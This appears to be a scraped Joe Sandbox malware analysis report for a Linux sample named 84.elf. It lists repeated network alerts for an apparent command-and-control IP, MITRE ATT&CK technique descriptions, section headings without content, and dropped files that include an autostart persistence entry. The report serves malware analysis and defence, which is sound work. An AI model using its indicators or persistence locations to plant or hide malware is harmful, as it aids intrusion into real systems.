Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 84.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/root/.config/autostart/gvfs.desktop

/root/.gvfs/84.elf

/tmp/_MEITTIAO4/_cffi_backend.so

/tmp/_MEITTIAO4/_codecs_cn.so

/tmp/_MEITTIAO4/_codecs_hk.so

/tmp/_MEITTIAO4/_codecs_iso2022.so

/tmp/_MEITTIAO4/_codecs_jp.so

/tmp/_MEITTIAO4/_codecs_kr.so

/tmp/_MEITTIAO4/_codecs_tw.so

/tmp/_MEITTIAO4/_ctypes.so

/tmp/_MEITTIAO4/_hashlib.so

/tmp/_MEITTIAO4/_json.so

/tmp/_MEITTIAO4/_multibytecodec.so

/tmp/_MEITTIAO4/_ssl.so

/tmp/_MEITTIAO4/bz2.so

/tmp/_MEITTIAO4/certifi/cacert.pem

/tmp/_MEITTIAO4/certifi/old_root.pem

/tmp/_MEITTIAO4/certifi/weak.pem

/tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/PKG-INFO

/tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/dependency_links.txt

/tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/not-zip-safe

/tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/requires.txt

/tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/top_level.txt

/tmp/_MEITTIAO4/cryptography.hazmat.bindings._constant_time.so

/tmp/_MEITTIAO4/cryptography.hazmat.bindings._openssl.so

/tmp/_MEITTIAO4/libbz2.so.1.0

/tmp/_MEITTIAO4/libcrypto.so.1.1

/tmp/_MEITTIAO4/libexpat.so.1

/tmp/_MEITTIAO4/libffi.so.6

/tmp/_MEITTIAO4/libpython2.7.so.1.0

/tmp/_MEITTIAO4/libreadline.so.7

Linux Analysis Report
84.elf